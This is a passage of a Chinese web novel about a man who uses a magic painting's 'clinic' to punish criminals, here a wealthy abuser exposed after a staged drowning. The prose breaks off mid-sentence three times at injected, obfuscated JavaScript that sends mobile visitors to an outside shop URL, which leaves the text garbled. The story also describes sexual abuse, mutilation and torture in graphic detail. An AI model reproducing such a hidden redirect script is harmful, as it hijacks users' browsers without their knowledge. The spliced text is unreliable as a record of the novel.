“……这是在警车上。”他真的很怕这种自来熟的人。 “这又怎么了,我又没说什么违法乱纪的话,我是在夸你啊。”陆烨修摸摸鼻子,怎么还有人不爱被夸的啊。 许是这件事远不止这么简单,独孤尽坐在车上又被画警告了。 这回他是以一个女孩的视角,被人拖入了暗巷,发生了惨不忍睹的事。 车停下时,独孤尽没能在第一时间下车,陆烨修刚想叫他,就被他惨白的脸色给吓到了。 “独孤尽!独孤尽!你不会晕车吧?这也太脆皮了!” 独孤尽强忍着想吐的冲动睁开眼睛,夜晚本就弱化了人的视力,这会儿太阳已经全然落下,漆黑一片的天幕下,城市的灯光显得尤为刺眼。 “别晃我。”独孤尽双手无力地扶着车门把手,半天都下不了车。 警察见他情况不好,连忙给他递了瓶矿泉水,“会不会中暑了?” “散开点,让他透透气。” “独孤尽你这样子弄得好像落水的人是你一样!”陆烨修绕到另一边,在独孤尽面前蹲下身,“我背你出来,找个地方歇一下。” 独孤尽揉了揉自己的太阳穴,往嘴里灌了一口水才好一些,他一巴掌拍在陆烨修的背上,“我没事。” 警方已经把另外两位当事人带进了警局,按理说独孤尽和陆烨修也应该尽快进去,但因他们俩是见义勇为的好市民,又有一位身体不适,晚多久都不会有人计较这点小事。 “真后悔刚才过去救人。”独孤尽含糊不清地说了一句。 他一开始以为画是为了让他救落水者,现在他知道自己领悟错了画的意思,那位落水者才是真正的施暴者。 搞了半天,救落水者真的是为了减轻将他推入水中的那人的罪行。 毕竟,数罪并罚的话,法律一定会直接给落水者痛击。 但如果推他入水的那人为了复仇真的把人报复死了,性质就变了。 “自古最难是情债。”独孤尽慢条斯理拿出纸巾擦掉额上的冷汗才慢悠悠下了车,沉重地迈进警局。 如果可以,他真的想向画申请休班。 如果可以,他真的想回到两小时前,绝对不在家附近乱逛,直接回画里空间。 但,世间难有如果。 “你刚刚说什么?情债?哇!这事不能还和你有关吧?”陆烨修又大大咧咧把手搭在独孤尽肩上。 独孤尽把那只手重重拍落后,夸张地平移了好几米,与他间隔出特别安全的距离才放心。 再一抬头就瞧见了个熟悉的身影,“小弟?你不是该在处理那件事吗?” “……我身上出现了一些问题,等等跟你说,你先把笔录做完。”春渐满神情复杂地看着独孤尽。 他确实在帮着师傅处理案件,但他的身体好像已经不是自己熟悉的那具身体了,只是头疼了一瞬,他就出现在了兄弟警局里,为了解释自己的凭空出现就已经在局里废了很多口舌了。 31. 进入“怪奇诊所”的办法 春渐满的出现毫无预兆,独孤尽下意识蹙眉闭上眼睛感知了一下。 画里是空荡荡的,神兽们在空间里喧闹着,一切如常,没有任何奇怪的地方。 可正是这样,才太奇怪了。 平时有一点风吹草动,画都会给他各种预示,明里暗里提醒他,而春渐满的身上出现了这么大的异常,画却没一点动静。 独孤尽心神不宁地睁开眼看向春渐满,本就因为感知了先前案件的情况而恶心反胃,现在脸色更差了。 他魂不守舍地跟着去做笔录,警方问了什么都无法让他从走神的状态中脱离出来。 陆烨修只能一次次用胳膊肘撞独孤尽,可他提醒了半天,独孤尽还是愣了好一会儿才反应过来警方问了什么。 “所以,你们把人救上来后发现岸上那位呼救者的行为非常可疑,就诈了他,发现人是他推下去的?”警方用审视的目光看向两人。 独孤尽抬眸又看了警察一眼,对视的时候,他心里毫无波澜,还在想春渐满的事,非常平淡地点了点头,“是的。” 这种反应太反常,通常来说,见义勇为者都会比较激动,就像他身边的那位。 警方不由又多关注了独孤尽一些。 陆烨修见警方看独孤尽的眼神越来越不对劲,用力踩了他一脚。 独孤尽吃痛,差点从椅子上蹦起来。 “事情就是这样,如果没有别的事,我就先走了。”独孤尽自认为他已经把事情经过都描述清楚了,如果不清楚,大可以去问陆烨修,他才是真正的热心市民。 独孤尽强力控制着想要直接离开的冲动,神情逐渐不耐烦。 “把重心放在受害者身上,好好查一下。”放下最后一句忠告,独孤尽没再管别的,径直朝外走。 很快,他感受到了春渐满的气息,对方呼吸急促,似乎情况很不妙。 “独孤尽!”陆烨修在后面追着,一转眼就把人跟丢了。 此时此刻,独孤尽的眼里只有春渐满,他疾步上前扶起满头大汗的春渐满,靠近了,他才发现春渐满身上的汗有多么不同寻常。 那是红色的汗液,散发着一股红酒的味道。 不对! 这就是红酒! 闻起来还很熟悉! 是当时那杯被春渐满喝了的红酒,那杯本不该被春渐满喝的红酒。 那杯强硬地把春渐满塞进“怪奇诊所”的红酒! 独孤尽不敢置信地凑近又嗅闻了一番,指尖触摸上春渐满的脖颈,指腹刮蹭了一点液体,刚想探入口中尝一下,就被春渐满按住了。 “别!” “我没事……好一点了……”春渐满紧紧抓着独孤尽的胳膊强撑着站起来,“好像出了点汗好多了。” 你要不再看看呢? 出的是汗吗? 独孤尽重新揩了一点液体,送进春渐满口中,只是浅浅在他舌上一刮就收回了手。 “你自己尝尝味道。” 春渐满先是惊愕,随后惊愕更甚。 “红酒?!” “对,红酒,你流出的应该是那天你喝的红酒。”独孤尽把目光移开,被汗浸透的春渐满脸颊绯红,他看着多少有点不自在。 似是想到了什么,独孤尽从空间里抓了一条毛巾出来丢在春渐满头上,将他整张脸都遮了起来。 “谢谢。”春渐满毫无所觉拿起毛巾擦了擦额头上、脸上、脖子上的液体。 红酒的颜色印在雪白的毛巾上更为醒目。 “怎么会这样?”春渐满实在想不通怎么会发生如此离奇的事。 “你试试,还能进空间吗?”独孤尽大胆揣测。 春渐满心念转动。 毫无动静。 眉头紧皱,心念转动。 依旧毫无动静。 他睁开那双鹰眼,满是无措看着独孤尽,“怎么进不去了?” 独孤尽把毛巾拿回来仔细端详了一下,“你能进画空间就是因为那杯红酒,现在酒液都析出了,你自然进不去了。” “也好,你本就不该进‘怪奇诊所’。”独孤尽释然一般团了团毛巾,丢回空间。 “不一样了,我已经参与进来了,不可能再退出。”春渐满像是想到什么,执拗地盯着独孤尽,“你刚才还叫我‘小弟’。” 没再纠结这点,春渐满突发奇想,抓住了独孤尽的胳膊,扯过他手腕放在嘴边就是一咬。 “嘶——”独孤尽吃痛,差点整个身体都蜷缩起来,他曲腿踢了春渐满一脚,“话谈不拢就咬人,什么癖好?!” 春渐满餍足地舔舔嘴角,那是一股并不好闻的属于鲜血的铁锈味。 只要能回“怪奇诊所”,吃点不好吃的又怎么了。 独孤尽甩着手腕,那上面有一排牙印,两处被咬破的地方正往外流着血液。 他刚想抓住春渐满好好教育他一番,春渐满就当着他面消失不见了。 后知后觉,独孤尽反应过来自己应该是被当成了媒介。 春渐满与“怪奇诊所”的媒介。 这可不行,如果之后春渐满又把他的血液排出了,岂不是要再咬他。 那他成什么了! 独孤尽没多犹豫就回了空间,去捉人。 “独孤尽!独孤尽——”陆烨修远远喊着,“怎么没人,刚才还听到独孤尽的声音了啊。” 独孤尽自然是不知道他的老同学还在坚持不懈寻找活动。 他在自己的空间里想要找人简直易如反掌,但他现在不想立马就出现在春渐满跟前,他想看看春渐满为什么非得回这,难不成他有什么东西落下了? 春渐满本是猜测,可当猜测成真时,他仿佛领悟到了什么,回到空间里就直奔独孤尽的酒窖。 他也是偶然听神兽们提起的,独孤尽有一间奇异的酒窖,里面放的酒从来不让他们碰,只有他自己能喝。 那次他拿出去的酒,应该就是这间酒窖里的。 神兽们知道那间酒窖在哪,却从没谁敢靠近,也没谁敢去偷酒。 曾经,九尾狐偷过一次,那之后遭受了什么,他们不得而知,但从九尾狐再也没去过那间酒窖来看,一定受到了非一般的惩罚。 独孤尽满眼都是势在必得,他要把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688928|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那间酒窖里的酒都喝光,那样,他就能留在“怪奇诊所”很久很久。 要把那么多的酒液从他身体里析出,需要很长时间。 独孤尽在暗中观察着,观察着,越看越不对劲,小弟怎么往他的酒窖去了! 那里虽然名义上是酒窖,但实际上,他本来也不是嗜酒之人,只有放了一些酒在里面掩耳盗铃。 不行!不能进去! 独孤尽心念转动,直接闪现在了春渐满面前,将他拦截在酒窖门口。 “你就这么不想我留在这里?”春渐满颇为受伤,任谁被这么一而再再而三拒绝,都会难受。 “和这个没关系,你想喝多少都行。”独孤尽继续挡在门口,难得神色有点慌乱。 “那我要全喝光呢?”春渐满眯起眼睛,满腹怀疑想要趁独孤尽松懈突破防线。 可独孤尽严防死守,实在没有破绽。 “那就喝光。”独孤尽一口答应。 春渐满朝独孤尽伸出手。 独孤尽赶忙隔空调了一瓶酒出来,指尖轻转将瓶盖起开,整瓶递过去。 递到一半才反应过来春渐满说了什么,手又收了回去,“这酒烈,只能小酌,整瓶灌下去你就该进医院了。” 春渐满一把抢过那瓶酒,是高浓度的伏特加,确实,一瓶下去人就该进医院了。 “放心,我会慢慢喝,瓶盖给我。”春渐满拎起瓶子,猛地往嘴里灌了一口,才重新朝独孤尽伸出手。 独孤尽心惊肉跳看着下去了五分之一的酒,“你确定会慢慢喝?我可不想送你去医院。” “怎么,你的诊所治不了?”才过了一会儿,春渐满就有了些许醉意。 “‘怪奇诊所’不是我的诊所,是那副画的。”独孤尽矢口否认,他可不想继承这种牛马不动产。 谁爱要谁要去最好。 “而且‘怪奇诊所’只能治非生理性的疑难杂症。” “任重而道远啊主人。”春渐满似是真的醉了,那个他不愿开口的称呼现在也变得极其顺口。 “主人主人主人主人主人……” “停——允许你叫我名字了。”独孤尽实在受不了醉酒状态的春渐满,好像这个称呼被他当成了逗弄人的方法。 “叫你的名字?跟九尾狐一样叫你阿尽吗?还是独孤?独孤不好听,听起来太孤独了。”春渐满把独孤尽的名字翻来倒去了一番,最后用那双迷离着眼盯着他,“还是叫主人吧。” “行,你爱叫什么叫什么,现在,跟我回去,别来这间屋子了。”独孤尽察觉跟醉鬼说不清,只能半哄着他往回走。 春渐满开始还被独孤尽带着走了几步,结果那间酒窖像是在他脑海里根深蒂固了一样,走了没多远他又扭头指回去,“里面到底有什么秘密?” “不能让我知道吗?” 独孤尽回头瞥了一眼酒窖,用极其冷淡的语气回答春渐满,“不能。” “每个人都是有秘密的,不要妄图窥探。” “九尾狐都进去过,主人偏心!” 独孤尽一掌拍上春渐满的脑袋,“你以后还是别喝酒了!” 32. 追查落水案 独孤尽的秘密暂时还没有被任何人知晓,包括之前闯进去过的九尾狐。 春渐满自然也不能例外,尽管他喝了酒后变得格外粘人,不依不饶,独孤尽也没有心软。 好不容易把春渐满带回了屋,独孤尽才松了口气,他临空幻化出蜂蜜水喂给春渐满,灌了满满一杯下去才罢手。 如果春渐满醒后仍旧执意要留在“怪奇诊所”,他定然推荐蜂蜜水、柠檬水、苏打水这种健康的饮品,想喝多少有多少,比酒安全多了。 “唔……”可能是水灌得太多,春渐满捂着嘴就要往外吐。 独孤尽又赶忙变了桶出来给他接着,折腾了好一阵春渐满才总算睡下,尽管看起来睡得并不安稳。 他时不时梦呓几句,像是被什么可怕场景魇住了。 “‘怪奇诊所’是什么好地方吗?来一次就够了,一直呆在里面,只会被梦魇缠身。”独孤尽轻叹了口气。 如果可以,他真的不会买那幅画,怎么还会有人想着往火坑里跳。 独孤尽不懂春渐满的心理,更不懂那些犯罪者的心理,要是没有这幅画,他想必还是个闲散度日的富二代,不会去做违法乱纪的事,也不会故意使性子跟人结怨。 这种神仙般的生活多好,怎么有那么多的富二代不作死就不舒服呢? 独孤尽又看了墙上那幅空白的画,暂时画还没给他其他预示,可他不敢掉以轻心,被人报复推下水的那位人渣少爷也不知道有没有被警方好好调查。 总不能因为他背后的势力,周转周转,又给放回去吧? 很多富二代反复作死,直到作最大的死,无法挽救就是因为监护人无理由的包庇与溺爱。 他们觉得世界上所有事都能用权势、金钱、力量解决,但显然,弱者被逼到极致时,也会选择拼死一搏,即便要死也要把害他们的人拉下来做垫背。 很多惨剧最终都是这样酿成的。 就像这次的落水案。 这位被人推下水的富二代整天闲着没事,专门挑有对象的女孩下手,如果只是交往也就罢了,偏偏他将女孩骗到手后,极其残忍地对待女孩,每名其曰,让他们的男友知道这种女孩不是好人,随后再凌虐、侮辱、无所不用其极。 他甚至在小众只有某些人能进的网络里不露脸直播,当然,直播中的女孩不仅会被他故意放大脸部特写,还会被故意放大某些被他凌虐过的部位。 部分女孩不堪其辱选择了自我了断,还有一部分不敢声张,终日做着噩梦,患上了严重的精神疾病。 但这次的女孩,她找到了以前的男朋友求助,前男友应该是真的很爱她,自己一直珍视的女孩被这般对待,一气之下,谋划了这场复仇。 独孤尽无法评判任何人,但他知道哪些事是对的,哪些事是不可容忍的。 “想起来还是很恶心。”他喃喃自语了一句,恰巧被梦魇惊醒的春渐满听到。 春渐满似乎是喝断片了,一点儿不记得自己醉酒,他揉着脑袋头痛欲裂,“什么恶心?” “我不会吐你身上了吧,那确实很恶心。”春渐满试图坐起身,缓解一下,却没想到刚动一下他就更想吐了。 独孤尽赶忙重新拿出个桶送到他嘴边,“没吐我身上,不是说你。” “那你再说哪件事?对了,还没问你,怎么会跑警局去?”春渐满忍了一会儿,没有想吐的意思,好像昨晚上已经全吐空了,现在胃里直反酸水,难受归难受,但吐不出什么东西了。 “在此之前,我需要再跟你确认一下,你真的想留在‘怪奇诊所’?”如果春渐满反悔了,想通了,也就没有必要把落水案说过他听了。 “我的决心表达得还不够清楚吗?”春渐满按揉着自己的太阳穴,他平时从不饮酒,执行任务容不得一点失误,他的双手是用来制伏敌人的。 “好,那我就跟你说说这个落水案。”独孤尽没再问,既然春渐满已经铁了心一条路走到黑,那他也只能认了。 他把落水案的经过和画的预示都告知了春渐满,讲述得极其流畅,比在警局做口供时还条理清晰。 毕竟对着警方,他还有很多地方需要隐瞒,但对着春渐满,自己人不用避讳。 春渐满还不知道自己已经被独孤尽认证为除他之外为“怪奇诊所”打工的牛马人了。 “晚些时候我找一下师傅,让他看看能不能了解一下这个落水案的发展情况。”虽然很多案件在没有了结前对外都是保密的,但作为兄弟单位,有时候会互相帮助。 “就怕来不及,如果他只是被拘留问询,很快就会放出去。”独孤尽不敢保证这种人能存在什么人性,差点被人报复掉性命,出去了肯定会找那个女孩麻烦。 要了女孩的命都是小事,怕是要虐杀。 独孤尽又看了一眼空荡荡的画,画还没给他预示。 “按照这种罪犯的秉性,绝不能让他离开警局,一定要在问询时间内找到能够逮捕他的证据。”春渐满眼里充满坚定。 “那恐怕迟了,我虽然叮嘱了警方要好好查他,但他作为受害者,警方不可能留他太久。”独孤尽轻摇脑袋,他拿出电脑,侵入警方的监控系统。 令他意外的事,并没查到这个人渣出去的画面,那说明,人还在警局里。 春渐满跟独孤尽对视一眼,“你跟我一起去问问情况。” “现在就去,我换身衣服。”春渐满看了看自己满是褶皱的衣服,上面还残留着一股酒味,显然在他醉酒后独孤尽并没有帮他换衣服。 独孤尽忽然觉得,除了画之外,现在他又多了一位会监督他做牛马的同事。 等春渐满收拾好,独孤尽还沉浸在自己无限加班的悲愤情绪中,他的脸上写满了冷漠,全是莫挨老子。 春渐满却没在意,他知道独孤尽会跟来,便率先心念转动抵达警局旁边的树荫处。 下一秒,独孤尽就冷漠地出现在春渐满身旁。 春渐满用兄弟单位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688929|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身份很快就见到了处理落水案的警察,“原来他是你朋友,怪不得不像寻常人,之前做笔录的时候淡定得像个罪犯。” “不好意思,开错玩笑了,别介意。”似是察觉到自己失言,他朝独孤尽致歉。 独孤尽并不在意,他摇摇头,“没事。” 他一直不清楚自己做的事是不是犯罪,“怪奇诊所”到底该不该存在。 可这些由不得他多思,“怪奇诊所”该不该存在,它都存在了,目前来看,他也没办法改变这点。 这种被胁迫着走一步看一步的感觉真的很不好。 “如果我们新收的那些年轻人有他这样的心理素质,遇事处变不惊,就好了。” “……”独孤尽沉默着,因为他不是新人了。 总要经历磨练才会蜕变,至于蜕变成什么样,是自己期待的那样,还是自己最讨厌的那样,就不得而知了。 “诶,你有兴趣考进来吗?我们很欢迎有你这样的徒弟。”越说越不像话了,春渐满赶紧打断他,“我们聊聊案子吧。” 连他都要喊独孤尽主人,怎么可能让人再跑过来做他们的徒弟,那到时候他成什么了。 “说到这个案子,还要多亏你朋友提醒,他估计是看出了什么,又没有证据,不方便说,才只是给我们提了个醒。”警察说到这个神采都飞扬起来,朗笑着给独孤尽竖起大拇指。 “你看这些,都是跟他相关的卷宗,但都被消了案底。”他拿出备份,找到做了标记的地方,翻给春渐满看。 “消了案底还有这些记录?”这触及到独孤尽的盲区了。 “会有,但这些是我们内部的资料,对外没有任何影响。”警察挠挠脑袋,颇有些羞耻心发作,“其实,我刚接触这份工作的时候很不能理解,但后来,有些事情只能这么办,但如果当事情到达一定严重性,就会……” 说到这里独孤尽明白了,就是职业道德与现实无法兼容的结果。 “这么说,他曾经犯过的那些案子,你们都知道?”春渐满难免有些难以接受,他自从上任以来,还从未因为权贵做过违背职业道德的事。 如果对权贵妥协了,他实在无法面对那些受害者,更无法穿这身警服。 “说实话,我也是接手了落水案,调查后才看到他的这些备份记录,看记录人的情况,好像每一任接手过他案子的警察都离职去干别的了。”他继续挠挠脑袋,更不好意思了,“好像都发大财了。” “你们可别把这些说出去,因为是兄弟单位帮过我们不少忙我才跟你们说这么多。” 春渐满长长地叹了一口气,他用锐利的目光审视着这位跟他一样穿着警服的年轻人,“那你这次准备怎么做,还是给他消除案底?” “那不能,我看到这些备份都不敢置信,这么严重的事情也不知道那些前辈是怎么昧着良心消的案底。” “他们真要昧着良心,就不会留下这些备份。”独孤尽隐约猜到了什么。 33. 另有隐情 恐怕那些警察并不是自愿退位,只是受了某种胁迫。 如果真是丧了良心的,恐怕根本不会离职,而是边拿着钱,边在位置上帮人办事。 毕竟有相熟的人,对他们的人渣孩子才是好事。 几人独自思索了会儿,春渐满把备份给了独孤尽,“你看看。” 言外之意是,这些案件里,有你眼熟的吗。 独孤尽仔仔细细翻阅了一遍,里面基本上没有受害者的照片,只有相关相貌、身型特征的记载,这要让他对上号,确实挺困难。 而且里面也没有记载到罪犯使用过怎样残忍的手段,只是草草几句带过。 “我想找这些受害者出来作证,说不定有些人还保留着一些证据。”警察说出自己的想法,“就怕这些受害者不敢出来。” “去查查有没有一直往法院上诉的,有些只是我们没有关注到,并不是他们没有拿起武器想要捍卫自己。”春渐满提出建议。 “你的意思是……那他们也太可怕了。”警察打了个寒噤,他怎么感觉自己接了个不得了的案子。 “世间本就如此,所以才需要我们坚守底线,维持秩序,誓死保护公民的权益。”春渐满感叹了一句。 接下来的事情就简单多了,三人迅速完成分工,他们要在有限的时间内拿到铁一样的证据,让罪犯无法翻身。 罪犯在真正被定罪前,都是疑罪从无,可在独孤尽这里,画里的情景就是最铁的证据。 独孤尽虽然是跟春渐满一组,但他主要负责让“怪奇诊所”给罪犯好好治疗,而春渐满则去最近那位被害女孩那边了解情况,收集证据。 警方则着重去以前的受害者那边了解情况,调查是否有人始终不曾放弃,坚守正义。 短时间内,独孤尽都不想让“怪奇诊所”开张,他的身体有点吃不消。 可除他之外,没人也没神兽能做到这件事。 独孤尽想到了他最初进入“怪奇诊所”时看到的东西,一些不知道是做什么用的法器,看起来像是用来镇压神兽用的。 毕竟这些法器在画里除了镇压神兽,他想不到还能有其他作用。 可当时那些法器就那么光秃秃的直接放在空间的最中间,神兽似乎想过要毁坏它,但是都没成功。 看到独孤尽出现,它们纷纷远离那些法器,齐刷刷冲他俯首称呼他为主人。 那个画面的冲击感之强烈,独孤尽现在都忘不了。 独孤尽觉得他作为一个现代人,没法办做到这么粗糙,他在法器上建造了一间酒窖,掩耳盗铃地往里放了很多酒。 之所以不再让人进入,是他有一天他完成“怪奇诊所”的诊疗活动,心中郁闷,极度想不开,跑在里面喝酒,喝着喝着把自己灌醉了,往那些法器上画了一堆滑稽的儿童涂鸦。 神圣的法器从此变得让人无法直视。 也就更不能让人进来发现这个秘密了。 之前九尾狐溜进来被他及时发现,并没看到他的“杰作”,可九尾狐出去后,就把他酒窖里有秘密这件事穿得神乎其神,现在所有神兽都知道不能去。 储蒙是落水案推人下水的那位,目前还被拘留着,春渐满想见他并不难。 “你女朋友巢杉月很危险,把她的情况如实告知我。”春渐满直截了当开门见山,面对这种能够凭一时意气,再冷静下来细心谋划的人,不能弯弯绕绕。 “她怎么了?!你们要把她怎么样?我做的事跟她没关系!”果不其然,戳到储蒙心中最在意的,他就会给反应。 “我们会保护她,但如果你不把她的情况告知我们,我们找不到她,有别人能找到她,你应该想的到。”春渐满再次简明扼要点出储蒙最关心的重点。 “他被放了吗?!他怎么没死!那么好的机会,那么好的机会……”储蒙有些疯魔了,如果他没被抓住…… 他一定要再次让那个人渣惨死! “停!冷静!深呼吸……”春渐满见储蒙陷入魔怔,立马打断他。 可那双眼睛仍旧红得骇人,他死死盯着春渐满,像是要穿过他看向他最憎恨的人。 “跟我讲讲吧。”春渐满放缓声音。 “跟你讲有什么用?!你能帮我吗?你们能保护杉月吗?!”储蒙越说越悲痛,“你们要是能保护杉月就不会有那么多女孩被害了……呜呜呜……” “都是我的错,都是我的错……”储蒙忽然双手蒙面低头哭了起来,他的手上还带着手铐,看着让人心酸难过。 “一定可以,相信我。”春渐满似是明白了什么,他念出几个被害者的名字,每念一个,储蒙就一颤。 “你认识她们?” “认识……认识……”储蒙一抽一抽,他想抹把眼泪却只能难堪地小幅度动着手指。 春渐满想同情储蒙,但他的犯罪是事实,哪怕事出有因,也是不可饶恕的。 过了片刻,储蒙收拾好情绪,低着头缓缓道来。 “我跟那个人渣是大学同学,我们整个学校都知道他家背景厚,很有钱,所以大家多多少少都有点捧他臭脚的意思。” “我也不例外,但他只挑中了我,跟我关系好。” “我的人缘比较好,总能交到很多好朋友,不论男女,朋友一多,难免玩在一起。” “现在想想……可能不是我的人缘好,而是我跟那个人渣的关系好,大家想通过我认识他罢了。” “有很多情侣一起参加我们的聚会,可往往参加后,这些男孩的女朋友就变成了那个人渣的人。” “一开始我们也以为那些女孩是贪图钱财,是拜金女,还兄弟几个抱头痛哭过……可渐渐的,我发现不对劲……” “有的女孩得了抑郁症,有的女孩自杀了!” “这些都是我的朋友啊,即便一开始我是跟她们的男朋友玩得好,但在一起玩过几次后,我也真把她们当朋友。” “只是在她们变成储蒙的人后,觉得识人不清,为兄弟不值,但就算这样,嘴上骂得再狠,也没真的想让她们遇害!” “你可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688930|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不信,我们真的没想她们出事……” “发现这点后,我跟……我……”储蒙说到这里又激动起来,眼里泛出泪水,声音哽咽,“我的女朋友,杉月,我跟她说,我跟她说……说了这些……” “我为什么要跟她说……我是一个男人啊,这么危险的事,我当时怎么就能没意识,直接让她暴露在危险中……” “你的意思是,巢杉月知道这些事情就遭了黑手?”春渐满在认真记录着,没有落下一句关键证言。 “不是,不是……是杉月,杉月说她要看看那个人渣都对女孩做了什么,她让我随时支援,她会保护好自己……”储蒙脸上都是痛苦。 “你怎么会同意让一个女孩,还是你女朋友,去冒险?!”春渐满想不明白,从旁人的视角来看,储蒙能为女朋友的遭遇杀人,说明他深爱着自己的女朋友。 “她……她是跆拳道黑带……我们还买了□□,一旦有危险,我就可以报警救她……”储蒙的后悔已经满溢,像源源不断的黑暗深渊将他吞噬殆尽。 “我……我没想到……”他陷入了回忆,上下牙齿打在一起直哆嗦。 “后面的事情不用说了,我知道。”春渐满再次打断他,“跟我说说巢杉月现在人在哪吧。” “她在……在……我做这件事之前,已经把她放在一个安全的地方了。”储蒙眼里蒙着一层说不清道不明的雾。 “……”春渐满抿紧唇,察觉到一丝不同寻常。 放…… “她被那个人渣挑断了手筋和脚筋,手……手……手指还全都被剁了……” “下巴也被卸了下来……下颌骨全都打成了粉碎性骨折……”储蒙不知不觉又陷入了恐怖的回忆。 “那个人渣!人渣!他是笑着跟我说!说我女朋友背叛了我!就替我教训了一下!” “他是不是发现了你们的谋划?”春渐满不敢相信储蒙下这么重的手只是为了帮忙教训人。 “我一开始也这么认为,可他待我如常,也正是这样,我才有机会对他下手!” “不对……不对……都不对!”春渐满突然想到了什么,他打开档案,再看了一眼。 “他在中学的时候获得过省级游泳冠军,这么大的事,他没跟你炫耀过?”春渐满现在也很想骂独孤尽眼瞎了,那么明显的演的落水,他都发现不了。 但话说回来,在那种情况下,瞧见人落水,也不会去想对方是不是在演戏。 “我不知道!我不知道!我如果知道怎么会用这种方式!” “那你……”想不想用他最擅长的方式杀死他? 这句话春渐满没问出来,只是在脑海里轮转了一下,就被自己惊到了。 原来人有了特权,真的会难以控制…… 这么看来,独孤尽的自制力非同寻常,他即便再痛恨罪犯,也真的只是在进行治疗,试图唤醒罪犯,实在无法唤醒他们的良知时,才采取特殊办法让罪犯伏罪。 他已经迫不及待想看独孤尽这次会怎么诊治了。 34. 新的尝试 都说最可怕的莫过于人心,独孤尽发现自己也不知道有没有这人心,他现在用刀尖对着该受到惩罚的人,可他却高兴不起来。 “怪奇诊所”的治疗方式一向都很统一,是为了罪犯能够认清自己的罪行,从而自首,尽量让受害者得到应有的补偿,无论是心理的还是生理的。 可最近几次他发现,自己虽然恐惧这种方式,却已经能渐渐运用熟练了,之前还完全让神兽来执行,现在,他自己也能作为执行者,让那些罪犯感到内心深处的恐惧。 如果是受害者,应该会乐意看到罪犯受到这样的惩罚,可他作为执行者却只觉得可悲,这又何尝不是另一种以暴制暴呢? 虽然打着让他们亲自尝尝这种疼痛,幡然悔悟的意图,可真正能醒悟的又有多少呢? 更多的还是屈服于他的绝对权威。 独孤尽几乎是用蔑视的眼神看着匍匐在地被削成肉团的罪犯,好像无论他变成什么样,都无法让他有一丝触动。 那种心灵上的麻木,让他惊惧。 “你懂什么是喜欢吗?”独孤尽临空控制着木棍扎进罪犯的身体,贯穿。 “这么喜欢用正义来标榜自己吗?”独孤尽将木棍一节节抽出,“那你觉得,我是正义吗?” 罗学倾从未想过之前他对那些水性杨花、爱慕虚荣的女孩做的事,会用同样的方式回馈到他的身上。 不……还不一样…… 他在内部网络直播,有无数人为他拍手称快。 但没有人在看着他,没有人。 所以,自然不会有人觉得他是正义。 罗学倾的嘴还能动,他痛得浑身发颤,没了四肢只能匍匐在地上,仰着脑袋看向面前那个高高在上的人。 “不!你不是正义!我才是!我才是!呵呵呵……呵呵……”罗学倾脸上布满蜿蜒的鲜血,是从他头皮上流下的。 “我从来不觉得自己是正义,但你也绝对不是正义。”独孤尽丝毫没有被打击到,他继续用像看蛆虫的眼神看着那一团肉泥。 “我是!我是!那么多人都说我是!” 独孤尽看了看四周,他实在不想效仿罪犯的手段,但不用这种方式,他永远不会醒悟。 他轻轻扬手,四周就亮出了环绕一圈的显示屏,电子的荧光闪着,非正义也非罪恶的那些观众纷纷对独孤尽鼓掌称快。 “如果这是正义?那你被我制裁也是正义。”独孤尽极其平静,他强忍着胃部的不适,逼迫自己用最冷漠的一面面对这个比他冷漠一万倍的罪犯。 “你制裁我是正义?不可能,不可能!他们怎么可能鼓掌?!假的假的!假的!” “罗学倾,你到现在仍然不觉得自己做的事过分吗?”独孤尽强撑着,只有他自己知道,他的牙已经被他暗暗咬得渗出了血。 “我过分?!那她们爱慕虚荣不过分吗?!” “巢杉月呢?”独孤尽看了一眼被他隐了身形的受害女孩。 这次的诊疗完全是按照巢杉月的意思来的,这是一次大胆的尝试,不过前期进行了大量的沟通。 春渐满见完储蒙后,就找到了被他好好放着的巢杉月,女孩现在无法行动,只能由专人看护,她不愿意见任何人,包括看护她的人,每次都会大吵大闹,试图把人赶走,而她…… 就可以自生自灭了。 “谁?滚出去,我不需要。”巢杉月躺在床上,双眼空洞的看着天花板,嘴里虽然说着驱逐来者的话语,却没有多少力气。 “你好,储蒙是你男朋友吧?”春渐满没有用前男友这种词,因为巢杉月从来都没有背叛过属于自己的爱情,更没有损毁自己的人格。 她是那么坚毅又强韧的女孩,只是冲动了点,太过不了解人性的黑暗了点。 春渐满缓步走进房间,屋里被看护人收拾得很整齐,女孩也穿得很整洁,如果不是这件事,她会享受着多么美好的年华。 也怪不得储蒙会失去理智,不,他没有失去理智,而是太理智了。 理智地想要为女孩出口气,也为拯救所有被害女孩的灵魂。 却如他猜测的那般,有一些家庭从来就没有放弃过要这份正义,只不过迟迟,迟迟未到。 